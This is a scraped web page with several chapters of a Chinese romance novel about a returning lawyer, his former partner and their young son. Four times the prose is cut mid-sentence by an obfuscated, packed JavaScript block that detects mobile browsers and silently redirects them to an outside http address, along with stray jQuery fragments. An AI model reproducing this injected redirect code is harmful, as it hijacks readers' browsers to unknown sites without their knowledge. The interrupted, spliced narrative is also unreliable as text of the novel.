钟虞自然察觉,不自在地轻抿了抿,他刚才还吃了辣椒油,不知道有没有沾在嘴上没擦干净。
幸好蒋绍言很快将目光移开,往别处落了落,缓缓点头,用平淡的语气继续说:“吃饱就好,那馄饨是兜兜特意带给你的。”
钟虞眯了眯眼:“所以今天是你故意安排的?”
故意把他叫来办公室,让他以为要见的是蒋绍言,其实是见蒋兜兜。
蒋绍言说:“你不是想知道他的情况吗,耳听为虚,亲眼见会更好。”
钟虞微顿,轻声说谢谢。
“谢倒不用,”蒋绍言也顿了顿,目光又转落他脸上,说了一句,“兜兜很想见你。”
大概抽了烟,男人的声音十分低沉,带着些许哑意,叫钟虞的心仿佛被什么攥了一下。
气氛再度安静,从远处楼宇间刮来的风吹得绿植晃动,刮擦出刷刷声响,钟虞感到了莫名
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424992|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的焦躁,急于说点什么打破这沉默:“为什么他的小名叫兜兜?”
闻言,蒋绍言的眼神陡然间变得锐利:“我觉得比起这个问题,你有一个问题需要先问自己。”
语气算不得客气,钟虞皱眉:“什么问题?”
蒋绍言没答,而是突然朝他走来,期间目光一直锁定他,直到相隔一步之遥时才停下,问:“钟虞,你以什么身份在关心他?”
高大的身形和凶悍的气场带来了强烈的压迫感,钟虞强忍着退后的冲动,仰起头,神情微冷地盯着蒋绍言的眼睛。
那短暂的僵持被睡醒起来发现钟虞不见了冲出来找人的蒋兜兜打破,但蒋绍言的质问却一直在钟虞脑海徘徊。
同样挥之不去的还有随着蒋绍言逼近,萦绕在他身边的那股淡淡烟味。
按耐了整个白天,晚上回酒店,钟虞关上房门,抽掉领带扔在床上,随后有些急躁地扯开衬衫,褪去裤子,赤脚走到浴室花洒下冲洗全身。
从浴室出来,他站在镜前,抬手抹掉上面的水雾,同里面白面黑发的另个自己对视片刻,抬起右手,指尖凑到鼻底嗅闻,再度皱起眉。
明明没有触碰,为什么蒋绍言身上的味道却一直不散?
这股挥之不去的气味叫钟虞也涌起冲动,突然很想来一根烟。
钟虞会抽烟。
这件事以前的亲人不知道,同学不知道,蒋绍言更不知道。若是知道,只怕他们会觉得他形象颠覆而大跌眼镜。
抽烟最凶是高三的时候,上了大学学业压力缓解他才渐渐收敛,这些年里也只有在遇到十分棘手的案子才会私底下抽一支。
或许是今天看到蒋绍言抽烟,勾起了内心久违的冲动来,叫他有些忍耐不住。
这次回国,助理茱莉亚给他订的行政套房,钟虞入住前特意看过,是可吸烟房。但他手边没烟,也懒得再穿衣服出去买,干脆踱去吧台开瓶酒代替。
之前喝过觉得不错的那瓶没了,钟虞叫客房服务给他再送一瓶。
很快门铃响,他走过去开门。
送酒来的是个年轻的男服务生,身高肩宽,长得也帅,有几分记忆里某人的影子。
钟虞还穿着浴袍,黑色的料子紧贴在白皙的皮肤上,一条细带束在腰间,浴袍下露出两条修长笔直的双腿,走动时衣摆飘动,袍底风光隐现,叫人忍不住想要探寻进那更深处。
服务生愣了愣,有些局促地低头,询问是否需要打开。钟虞说要,垂着冷淡的眸子看对方用开酒器将瓶塞拔出。
等不及醒酒,他倒了一杯,捏着杯柄轻轻晃了晃。
服务生不自觉被他的动作吸引,眼神变得直白热切。
钟虞察觉到,心中不屑地笑了笑。
这样的目光这些年他遇见过不少,隐晦的,露骨的,压抑的,欣赏的,下流的,疯狂的。
他假装不知,端起酒杯品尝,细长的脖子微微后仰,精致的喉结上下滑动,将暗红的液体一口吞咽进食道里。
没醒的酒涩味重,钟虞舔舔嘴唇,鲜红的舌尖若隐若现,说道:“不错。”
服务生顿时感觉下.身制服裤子绷紧了,只得并拢双腿,借着餐车遮掩自己不堪的变化。
钟虞突然又问:“你有烟吗?”
对方愣了愣,鬼使神差,姿态别扭但十分听话地从裤子口袋里摸出半包偷藏的烟递过去。
钟虞接过那包烟,回身在钱包里翻了翻,他没换钱,里面只有美元,于是抽出一张二十的纸币,食指和中指夹着递过去,见对方愣着不动,唇角微勾了勾,轻巧地塞进了制服的上衣口袋里。
高大年轻的男生面红耳赤,几乎落荒而逃。
将门关上,钟虞即刻从烟盒里抽出一根点燃,然后慢慢走向沙发,姿态慵懒地靠在上面。
黑发遮在眉间,眼神有些迷离。
香烟被含在红润的唇间反复吮吸,品尝,烟草的味有些烈,更有些冲。
袅娜白烟在面前升起,烟雾中缓缓浮现出一个人的脸来。
五官模糊不甚清晰,不过可以肯定那是一张棱角分明的男人的脸,有一双漆黑又深邃的眼睛。
钟虞微微眯眼,夹着烟坐起来,盯着烟雾看了两秒,嘴唇微张,轻吐出一口气,那男人的轮廓便随烟雾一同消散了。
17. 温柔潭
如今的安诚律所,八卦的风向已然变了。
如果你还再猜炫迈宝贝今天穿什么衣服,那就过时了,当下最新最热的八卦是炫迈宝贝到底是钟大律师的什么人。
到底什么人,才能让专注的钟律每到五点就坐立不安,频繁看表看手机,手机响一声后迅速接通,听那头说着什么,淡漠的眉眼便如三月桃花般缓缓绽放,接着挂电话,起身,离开办公室往楼下走。
途中要经过一条长长走廊,一侧是助理们办公的格子间,另一边是打印室资料室和茶水间。钟虞经过的时候,助理们都探头看他,眼神疯狂交流,而廖志晖也刚好从茶水间出来,手里端着一杯标志性的咖啡。
廖志晖就见钟虞迎面走来,步伐款款,擦肩而过时竟微笑着冲他打招呼。
“廖主任。”
廖志晖心里一惊,惊为天人的惊,突然之间就明白什么叫顾盼生辉。
钟虞都走过去了,他还扭着脖子看,没注意前头有根柱子,直直撞上,咖啡全泼了出来。
廖志晖被烫得龇牙,顾不上擦手,那一瞬间心里想着的竟还是钟虞刚才那一笑,叫他一个大老爷们都看呆了。
“我还以为这小子不会笑呢。”
廖志晖嘀咕,过会儿才反应过来,啊一声惨叫,赶忙低头检查自己的西装。花大价钱买的奢侈品,还没装两次逼就成这样,也不知道能不能洗掉,廖志晖顿时肉疼,心想钟虞还是别笑了,这不祸害人嘛。
钟虞对此浑然不知,坐电梯下楼,先是在大堂等,之后又走去外面的台阶上等。
刚才蒋兜兜给他打电话,兴奋地跟他说“小虞儿我还有一个红灯就到啦”。
是的,小孩儿现在都叫他小虞儿,虽然不知道这个名字源于何处,但蒋兜兜叫得开心,钟虞也就随他。
五点刚过,天空晚霞铺展,钟虞抬头看去,才发现自己很久没这样好好看过傍晚的天了,因为蒋兜兜的到来,叫他枯燥的生活不只有黑白的合同,还有蓝天和彤云。
蒋兜兜到了,车一停稳就跳下来,钟虞走下台阶去迎他,司机也下车,远远跟钟虞对了一眼。
司机得了蒋绍言的吩咐,站在车边没上前,钟虞冲对方点点头,先带蒋兜兜去旁边餐厅吃饭,然后再回所里。
蒋兜兜走路要牵手,吃饭要挨着钟虞坐在同一边,看菜单也要头贴头靠一起。大的小的颜值都顶,单独一个都能秒杀一众菲林,何况两个在一起。
点单添水的服务员换了四五个,旁边桌客人也纷纷注目,还有自称经理的人递上名片,问钟虞有没有意向和小朋友一起为他们即将到来的圣诞亲子活动拍宣传海报。
“谢谢,但不用了。”报酬丰厚,钟虞还是果断拒绝了,他现在不缺这个钱。
钟虞谨慎,凡蒋兜兜入口的东西都格外注意,如果是第一次吃,他一定是要问蒋绍言的。
秋葵能吃吗?钟虞发信息,印象里以前有个同学对这玩意过敏。
蒋绍言秒回:能。
一次次问太麻烦,钟虞干脆问:他忌口都有什么?方便列出来吗?
这回蒋绍言迟迟没消息。
钟虞皱眉,默认蒋绍言可能不方便,只能下次遇到了再继续问吧。
吃饭的时候,蒋兜兜时不时歪着身子凑近他,拱着鼻子在他身上嗅一嗅,然后再坐回去吃饭。
钟虞失笑,问怎么了。
蒋兜兜有些羞赧,嘿嘿笑笑,才趴过去附他耳边小声说:“小虞儿,你好香啊。”
蒋兜兜说完就坐回去继续吃饭,反倒钟虞愣了,上次在蒋绍言办公室,蒋兜兜就这么说过,说他身上有种味道,很好闻。回去后他特意闻过,并没什么香味,况且他不擦香水,用的沐浴露也是无香型,所以蒋兜兜闻的到底是什么味道?
吃完回办公室,钟虞还有文件要处理,蒋兜兜就坐在沙发上,一抬眼能看到钟虞的地方,趴在茶几上写一会儿作业,看一会儿钟虞。
门口来往的人明显多起来,加班没走的基本都在钟虞办公室门口过了一遭,老陈来得最勤,三次过后终于按耐不住走进来,看一眼还在埋头的钟虞,选择走到蒋兜兜旁边,蹲下跟他打招呼。
“嗨,我们见过。”老陈满脸堆笑,“你记得我吗?”
钟虞低头不代表他不关注蒋兜兜身边的动静,听到老陈这话,心里吐槽这搭讪可真够老土。
一般的人,蒋兜兜见过一两次不大会记得,毕竟是孩子,但老陈他却有印象,酒会上和车库里,都是老陈跟钟虞在一起。
蒋兜兜把老陈划在“小虞儿的朋友所以要礼貌”范围内,乖乖点头:“记得。”
老陈顿时眉开眼笑,他本身就喜欢小孩儿,有了女儿之后更是看到孩子就觉得喜欢,何况蒋兜兜长了一张惹人爱的脸。
老陈问你几岁啊,哦都快六岁啦,那上幼儿园了吧,哪个幼儿园啊……等蒋兜兜回答,老陈暗自咋舌,立刻心算自己挣的钱够不够女儿去上,发现只勉强够付个学费。
律师心眼多,问题没有一个是白问的,结合坊间传闻,老陈基本确定这孩子就是蒋绍言儿子,但跟钟虞什么关系……
他往钟虞瞟了一眼,正好钟虞也在看他,目光幽幽意味深长。老陈知道他心思被钟虞看破,讪讪笑笑,刚要站起来却发现腿蹲麻了,差点又跌回去。
今天没跟纽约那边视频,等把白天跟郝家明磋商的记录整理出来,蒋绍言的电话也刚好打进来。
蒋绍言只在电话里说一句“我到了”,钟虞回“好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424993|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的”,两人都言简意赅十分吝啬,好像多说一个字都亏,这几天来都是如此,而蒋兜兜听到钟虞这么说,就知道蒋绍言来接他了。
钟虞带蒋兜兜下楼。
蒋绍言的车直接开到楼下,钟虞看一圈没看到刚才的那个司机,大概是蒋绍言让人回去了。
蒋兜兜来找钟虞这几天,每天都是司机送来,晚点蒋绍言再来接,而蒋绍言有时早有时晚。不知为何每次他来,钟虞都会不自觉留意他身上的味道。
就像今天,蒋绍言穿了一件没见过的双排扣大衣,长度到膝,衣襟敞开露出里面的黑色西装,英俊从容优雅,仿佛刚赴宴而归,所以当钟虞走过去时,鼻翼不自觉翕动,随后挑起眉毛。
干净清爽,没烟味没酒味,更没有香水味。
两人不大会交流,钟虞把小孩送到,蒋绍言接收,沉默地完成整个过程,但蒋兜兜会跟钟虞说再见,还特意强调明天见,必须钟虞也说明天见,他才肯走。
钟虞弯腰说明天见,起身的时候目光不期然同蒋绍言碰在一起,彼此对视了几秒。
自从那天在露台,蒋绍言问出那个问题之后,两人都默契地没再提,对于蒋兜兜每天来找钟虞这事,也形成了某种不言说的默契。
但不说不代表不存在。
就比如在这视线相触的短短几秒里,钟虞就会想起蒋绍言问他的那个问题。
他是以什么身份在关心蒋兜兜。
钟虞当时没有回答,这几天也回避思考,所以下意识就把目光移开了。但几秒之后当他又把目光转回去的时候,却发现蒋绍言还在看他。
从前钟虞就知道,蒋绍言有一双十分好看的眼,眼窝深,所以显得目光格外深邃。这样的眼,若是微微眯起,目光就会显得冷冽,会叫人心惊胆战不敢直视,然而若是软化下来,目不转睛注视一个人的时候,又仿佛一汪温柔的潭水,叫人一不小心就溺毙其中。
钟虞平静地回视,但内心其实并不平静,因为他发现多年后再见,他好像还是无法抵抗蒋绍言的眼睛。
蒋绍言直勾勾看他,被发现了也不避讳。
钟虞微微皱眉,性格里的不服输让他不可能闪躲,于是他直直迎上去,也盯着蒋绍言的眼睛看,非要叫蒋绍言先移开才行,渐渐地却惊讶地发现,蒋绍言眼神变了,依旧看着他,但从平静无波到出现了淡淡的、戏谑的笑。
什么意思?有什么好笑的?
钟虞自己也说不清怎么脾气就上来了,正要发难,蒋绍言却又在此时偏过头,低眉垂目的样子叫人有火发不出。
直到蒋绍言开车走了,钟虞还站在原地,微凉的晚风吹在脸上,心头那股火还是下不去,他觉得蒋绍言刚才分明是用眼神在戏耍他,心道真是个神经!
18. 软心肠
周五这晚蒋绍言有应酬,提前跟钟虞说,晚点去接蒋兜兜。
短信就能说的事,非得打电话,钟虞微微皱眉,下意识问几点结束。
这个问题叫电话两头同时沉默,钟虞不知道蒋绍言为什么沉默,他自己是因为这么问有干涉蒋绍言行程之嫌,显得他关心在意似的。
蒋绍言那头十分安静,钟虞猜他应该在办公室,过几秒钟,蒋绍言才开口,声音很低:“长辈邀请不好推辞,最迟十点,我会尽量早些。”仿佛在报备。
“……嗯。”
挂上电话,钟虞思考了片刻,如果蒋绍言来得太晚,他怕蒋兜兜一直呆在律所会拘束,人来人往也不方便。
所以当天等蒋兜兜到了之后,钟虞带他吃完饭,便直接回去酒店。
坐电梯,刷卡,进房间,蒋兜兜怀抱小书包,先站在门口探头往里瞧,然后才迈着小短腿走进去,四下打量,心想这就是小虞儿住的地方啊。
感觉有点小耶。
行政套房也就比普通客房多一个客厅和衣帽间,蒋兜兜背手把每个房间视察一圈,摸摸衣帽间里钟虞挂起来的衬衫,再碰碰浴室里钟虞的牙刷,确认了房间里没有其他人,警惕感松懈,脱掉鞋子往钟虞的大床上一趟,软软的好舒服。
蒋兜兜在宽阔的大床上翻滚,一抬头,正好看见床头柜上放着一本笔记,他好奇拿过来看,没想到翻开就看到了那张画了一半的画。
蒋兜兜睁大眼,他丢掉的画怎么在钟虞这里?
钟虞回来先换衣服,西装脱掉,换上舒适的休闲服,柔软的面料也为整个人增添几分柔和的气质。
蒋兜兜下意识就要藏起那张画,正好被钟虞看到。
“怎么了?”
蒋兜兜只得把画又拿出来,支支吾吾说画得不好。
“我觉得画得很好。”钟虞说,这画摆在床头,他每晚睡觉前都要拿起来看看,不想留下折痕,所以特意找了个大小差不多的笔记本压在里面。
“真的吗,你觉得我画得很好?”
“嗯,我很喜欢。”钟虞说,“我看到上面有我名字,猜是你落下的,就拿回来了。”
钟虞侧身坐在床沿,和蒋兜兜一起看那画,指着那两条鱼问:“这是什么?”
蒋兜兜说:“这是鱼。”
钟虞莞尔,笑着看蒋兜兜:“因为我名字听起来像鱼所以你就画了鱼?”
“嗯嗯。”蒋兜兜连连点头,手指从大鱼身上滑到旁边的小鱼,“这个大的是你,小的是我。”
钟虞的笑意有片刻的凝滞,感动和酸楚一齐涌上心头,他抿抿嘴唇,抬起手在蒋兜兜头发上轻轻摸了摸。
蒋兜兜用头顶拱钟虞手心,在钟虞看不见的地方眼珠转转,蹭着床单挨到钟虞跟前,指着那两条嘴对嘴的鱼问他:“你看他们在干什么?”
干什么?这个问题还真把天资聪颖的钟大律师给难倒了,他想鱼还能干什么,于是说:“游泳?”
蒋兜兜倒吸一口气,忽然间明白了“恨铁不成钢”是什么意思,心里一急就说出来了:“他们在亲亲啊。”
说罢还暗示十足的嘟了嘟自己嘴巴。
钟虞愣了愣,不等反应,手机突然响了,通信软件跳出提示,是茱莉亚给他发的信息,说那个家族信托的客户遇到紧急状况,希望面对面咨询,问他现在是否方便连线。
工作要紧,钟虞只得简单跟蒋兜兜解释了一下,让他自己先玩,随后快步走到书桌的电脑前。
蒋兜兜顿时气馁,他离成功就一线之距,结果被打断。他趴在床上,看着钟虞打开电脑戴上耳机,过大概一分钟,就开始对着屏幕叽里呱啦说英语。
蒋兜兜在床上滚了一会儿,视线一直没离开钟虞,他觉得时间过好慢,钟虞怎么还没完,其实也不过过去五分钟而已。
最后,蒋兜兜按捺不住,从床上跳了下去。
钟虞开着会,同时分出余光留意蒋兜兜,就见蒋兜兜从床上跳下来,只穿袜子踩在地毯上,跑到他书桌的对面。
被桌子的高度遮挡,所以钟虞看不见蒋兜兜在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424994|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捣鼓什么,他有一秒的分神,很快又将注意力拉回来,专业地解答客户的疑问,等再看蒋兜兜时,发现小孩从对面吭哧吭哧搬了把椅子过来。
说搬不太准,那椅子比蒋兜兜人还高,实木的,死沉,蒋兜兜连拖带拽,费了好大劲儿才挪到钟虞旁边,然后心满意足爬上去,美滋滋挨着钟虞坐。
小孩贴上来的那一刻,钟虞难以形容是什么感觉。
顾不得客户还在对面,他低下头去看蒋兜兜,看见了蒋兜兜额头上的汗,看见了蒋兜兜也仰头看他,那对明亮的圆眼眨了眨,用自以为很小的声音对他说:“我想靠着你,我不发出声音。”
钟虞的心一下软了。
“抱歉,我这里有点事……”钟虞对客户说有突发情况先下线两分钟,关掉语音和摄像头,起身先把蒋兜兜抱下来,然后把那张拖过来的椅子摆成正面冲向他。
蒋兜兜困惑地看他。
钟虞心酸又心疼,笑笑说:“这样坐舒服一点。”
那椅子带扶手,如果不正面冲他,蒋兜兜侧身就会膈到扶手,肯定不舒服。
会议重新开始,钟虞的视线也重回电脑,蒋兜兜坐在旁边,整个人跟没骨头的猫似的贴着他的胳膊,渐渐地变得不满足,得寸进尺地抬起钟虞的胳膊,自己钻进去,歪着身子侧枕在钟虞的腿上。
钟虞再度恍神,手臂缓缓落下,有些僵硬地搭上蒋兜兜的后背。
小孩体重并不重,正好贴在他小腹的位置,小身子软软和和,叫他的心脏也变得热烘烘麻酥酥。
维持这个姿势开完会,结束时钟虞才发现,蒋兜兜枕在他腿上睡着了。
客户已经下线,茱莉亚还在,找到机会终于忍不住问:“Yu,你旁边有人?”
她刚才分明听到说话声,而且半途中断会议对钟虞来说也是前所未见。
钟虞食指比在唇边示意茱莉亚噤声,随后冲助理微微笑笑,挥手也下线了。
茱莉亚目瞪口呆,反应过来后,她缓缓转头,看向身旁沉着脸的混血男人。
19. 晚风吹
纽约那边现在正是早上。
伊森刚到律所,买了咖啡三明治,一份给他现在的部门,另一部分给茱莉亚她们,其实是想拉近关系,毕竟茱莉亚是钟虞的助理,打点好总不会有错。
伊森在这方面很会做人。
回报很快就来了。正巧碰上茱莉亚跟钟虞连线,他就搬了椅子在茱莉亚旁边,自己没露脸,悄悄地看钟虞。
那说话声伊森没听到,因为茱莉亚戴了耳机,但钟虞开会途中低头走神,之后又突然中断两分钟让他心中感到不妙。
从背景看钟虞是在酒店房间,而伊森敏锐地意识到,钟虞酒店房间里,或许还有别人。
这一猜测从茱莉亚的问题里得到证实。
伊森对钟虞的追求没有藏着掖着,基本第一天就向全律所宣告,茱莉亚自然也知道,她看着脸色沉郁的伊森不知道该说什么,反而伊森很快恢复笑脸,跟她说有点事先走,也叫她不要跟钟虞提起他在旁边。
另一边,钟虞没有吵醒蒋兜兜,轻手轻脚把人抱上床。
睡着了的蒋兜兜恬静安稳,钟虞看得出这孩子性格活泼,只是在他面前表现得很乖。
他一寸一寸仔细地端详蒋兜兜的脸,小孩皮肤白,睫毛也好长,小巧的鼻翼随呼吸轻轻翕动。钟虞试图在他身上找自己的影子。
似乎哪里都有一点像。
他不自觉勾起唇,但很快,这股淡淡的喜悦就被冲散了,他想,他该怎么去跟蒋兜兜解释,为什么这些年他都不在,为什么现在突然回来,为什么不久之后还要走。
蒋兜兜从没问过他,是不在意,还是假装不在意?
那么个小人精,钟虞倾向于后一种。
小孩儿心里明镜一般,什么都不说,其实什么都知道。
差五分钟到十点,蒋绍言打电话,说到酒店了。
钟虞提前发信息告诉他自己带蒋兜兜来了酒店,也给蒋绍言发去了地址。
“那我现在带他下楼。”
“不用。”蒋绍言说,“等十分钟,十分钟后你们再下来。”
钟虞不明原因,但还是答应了,挂电话前又听蒋绍言语气平淡地说“外面天冷,下来的时候多穿点”。
钟虞没多想,下意识以为他是要蒋兜兜多穿点。
挂了电话,钟虞没有立刻把手机丢开,往上翻了翻和蒋绍言的聊天记录。
他们没加微信,靠短信和通话联系,因为蒋兜兜的关系,联系可以说相当频繁,但对话内容都很简短,而且都是围绕蒋兜兜。
房间开了空调,蒋兜兜进门就把外套脱了,钟虞先去拿他脱下的外套,然后才走到床边,把还在睡觉的蒋兜兜叫醒。
蒋兜兜睁开眼,带着点起床气以及要离开钟虞的不情愿,磨磨蹭蹭穿好衣服,差不多就过去十分钟,钟虞便带他下楼。
坐电梯到楼下,穿过大堂朝门口走的过程,钟虞几乎一眼就看到了蒋绍言,但奇怪的是蒋绍言没有进来,而是站在外面的门廊下。
外头风不小,树不停地晃,刚下车的女客人的羊毛裙裙角也被吹得旋起。
这么大风,蒋绍言站在外面干什么?
揣着疑惑,钟虞牵着蒋兜兜走了过去,而蒋绍言好像背后长了眼,几乎同时转过身,看到他们之后就推开旁边的一道侧门走了进来。
蒋兜兜走过去,蒋绍言抬手把他往身边揽,蒋兜兜第一句话是“爸爸身上好冰!”,第二句话是“爸爸身上好臭!”。
一边说还一边捏着鼻子往钟虞怀里躲。
钟虞下意识也想凑近闻闻蒋绍言怎么就好臭,随后便看到了蒋绍言脸上淡淡的笑。
“喝了点酒,”蒋绍言看着他,“这孩子鼻子太灵,不喜欢闻酒味。”
原来是喝了酒。钟虞了然,应酬哪有不喝酒的,但随后蒋绍言的一句话却叫他微微一愣。
蒋绍言说:“这点跟你一样。”
钟虞心脏一颤,猛地抬头去看蒋绍言的眼睛,对视的瞬间,他突然意识到,为什么刚才蒋绍言明明到了却要他们十分钟后再下来,为什么不站在明亮温暖的大堂,而要站在门口吹风。
原来是为了在外面散酒味。
十分突然的,钟虞想起一件以前的事。
那天也是个晚上,蒋绍言打电话给他说很快就回,他坐在当时租住的那间小公寓里写毕业论文,等了一小时还不见蒋绍言,心中略有些不安,便裹上衣服下楼看,结果就看到蒋绍言站在楼下花坛边。
大约听到脚步声,蒋绍言缓缓回头。见是他,原本面无表情的人即刻就笑了。
“喝了点酒,散散味儿,怕熏着你。”
“怎么下来了,担心我?还是怕我不回家?”
“唉怎么又恼了?我错了,我其实想说……你在这儿,我还能去哪儿?”
多年后回忆,那是一幅定格的画面,天气晴好,夜空中点缀大片繁星,而蒋绍言就站在星空下,用那双深邃又温柔的双眸注视着他。
此刻同蒋绍言对视,不知为何,钟虞有种强烈感觉,他非常确定,蒋绍言同他想的是同一件事。
旁边有客人进出,门童推着摞得高高的行李车进来,钟虞背对着所以没有注意,眼看就要碰上,蒋绍言飞快拉一下他的臂弯,把他拉到里侧,随后松开手,自己站到外侧,用高大身躯为他和蒋兜兜挡住吹进来的风。
钟虞沉默,低头去看被蒋绍言握
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424995|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过的地方。
蒋绍言的手虽然收回去,但手臂上的触感犹在。
蒋绍言却把钟虞的沉默理解为不悦,往后退了半步,像是解释般低声说:“我这些年其实很少喝了,今天实在推不掉,就喝了一点。”
钟虞不知道该说什么,只轻轻嗯了一声。
蒋兜兜难得安静地站在旁边,他悄悄观察两个大人,觉得还是不要插嘴的好。过了一会儿,两个大人都不说话了,他才试探着拉了拉钟虞衣服,邀请钟虞周末去参观他的卧室,然后顺便在他的小床上躺一躺,礼尚往来嘛。
去蒋兜兜卧室就意味着是去蒋绍言的家,钟虞觉得太过了,因为那是蒋绍言的领地。
他本能地不想进入,因为蒋绍言的领地里一定都是属于蒋绍言的气息。
蒋绍言也在看他,没有邀请也没有否定,只安静等他回答。
钟虞摇头说不了,见蒋兜兜扁嘴,他又说:“不过如果你愿意,你可以来找我,或者我们去外面。”
这个提议诱惑力也很大,蒋兜兜立刻点头,伸手抱住钟虞:“那我明天来找你,明天见哦。”
“好,明天见。”
蒋兜兜抱着不撒手,黏黏糊糊能到天荒地老。蒋绍言将他一只胳膊拉下来,对钟虞说:“上楼去吧。”
蒋绍言目光流连在钟虞单薄的居家服上:“下面太冷了。”
钟虞一向对照顾自己不上心,光顾着给蒋兜兜穿,自己连件外衣都没套就下来了。
蒋兜兜不情不愿,但更怕钟虞冻着,赶紧说:“小虞儿你快回去吧,晚安晚安。”
钟虞弯腰,在蒋兜兜头上摸了摸,笑着回:“晚安。”
蒋绍言突然也道:“晚安。”
心弦被轻轻拨动,钟虞直起身回视面前高大的男人,轻声说:“晚安。”
话音刚落,蒋绍言突然扬起嘴角,一把将蒋兜兜抱起来抗在肩上。蒋兜兜尖叫,反应过来后又笑个不停:“爸爸快放我下来!”
蒋绍言把蒋兜兜放下,结实的手臂圈着抱在怀里,最后看了钟虞一眼,大步朝外走去。
开门的风吹动了钟虞额前的头发,他站在原地没动,目视蒋绍言抱着蒋兜兜往停车的地方走,蒋兜兜还扭着身子跟他挥手。
钟虞也笑着挥了挥。
直到两人上车,车开走消失在夜幕里,钟虞才收回视线,觉得手脚有些冷,转身往电梯走去。
路过大堂,貌似酒店接待了一个旅行团,正排队办入住,场面有些混乱,他瞥了一眼并没多关注。
因此也没发现沙发里坐着一个人。
蒋西北面色铁青地盯着钟虞的背影,皮肉松弛的双手紧紧地攥住了拐杖。
20.狠心肠
蒋家的老保姆章姨今年五十多,是蒋西北做手术那年来的,负责照顾蒋西北饮食起居,蒋兜兜出生之后也看护了差不多两年时间。
蒋西北手术后腿脚一直不便,别墅里新安了电梯,平时蒋西北住在楼上,章姨就住楼下。
这天半夜,章姨起夜的时候,听到楼上有动静,灯却没亮,以为进了贼,心惊胆战摸黑上楼,才发现是蒋西北起来了,坐在面朝露台的一把椅子里。
章姨唤一声“蒋老”,按开楼梯上的一盏吊灯,蒋西北坐在椅子上回头看她,她才发现蒋西北还穿着晚上吃饭时的衣服,根本没换睡衣,可能一直就没睡。
章姨心里一惊,正想过去,蒋西北开口制止她,声音低沉沙哑:“你去休息吧,我一个人待会儿。”
章姨犹豫着,见蒋西北衣衫单薄,还是问:“我给您拿张毯子吧。”
“不用。”蒋西北语气生硬,“你把灯关了就行。”
章姨只得又沿楼梯下去,走到一半回头,就见蒋西北已经转过身,面朝外面深重的夜色,背景看起来竟有几分晦暗和潦倒。
章姨猜得没错,蒋西北的确就没睡,晚饭后他回楼上书房,吃了药,把药瓶塞回书桌下面的抽屉,瞥了眼最底下搁着的一份最新体检报告。
报告显示指标不正常,疑似复发并肝转移,建议做CT进一步确认。
这一切他都瞒着蒋绍言。
胰腺癌素称癌症之王,通常发现就是晚期,五年存活率不到5%,蒋西北就是这幸运的极少数。他一直觉得自己是有福之人,人定胜天,能跟老天去搏命!但现在,他是真的觉得自己时日不多了。
蒋西北独自在书房待了一会儿,把三十多年前和妻子拍的结婚照拿出来看看,擦擦,再把蒋绍言和蒋兜兜的照片也拿出来,每一张都看得十分认真和怀念。
等夜色沉下来,连保姆都睡了,他才拄着拐杖慢慢走出来,坐在面朝露台的这一把椅子上。
外头风声呜咽,蒋西北一动不动坐着,直到呜咽的风声平息,漫长的黑夜退场,明亮的太阳升起,他才终于动了一下,估摸着差不多到蒋兜兜起床的时间,就给蒋兜兜打电话。
蒋兜兜说刚嘘嘘完,蒋西北不自觉就笑了,所有疲惫在听到蒋兜兜声音的那一刻全部消失,声如洪钟说:“兜兜那么厉害,都能自己嘘嘘了!”
蒋兜兜不以为然:“爷爷,我三岁就会自己上厕所了!”
“今天到爷爷这里来吧。”蒋西北哄他,“爷爷叫人给你做好吃的,再带你出去玩,你想干什么我们就干什么。”
“今天不去啦爷爷。”蒋兜兜早起就是为去找钟虞,人小鬼大地说,“我今天有其他安排。”
没说几句,蒋兜兜就挂了。蒋西北笑容一下僵在脸上,很快落寞下去。
以前一到周末,蒋兜兜不用叫都一定会巴巴地来,现在却不来了,因为谁不言而喻。
蒋西北一度以为钟虞永远不会回来,毕竟当时走得那么坚决,这些年他偶尔会想,当初自己是否做错了,但每次看到蒋兜兜,就会立刻打消这个想法。
他没有错。蒋西北坚决地想,他没做错。
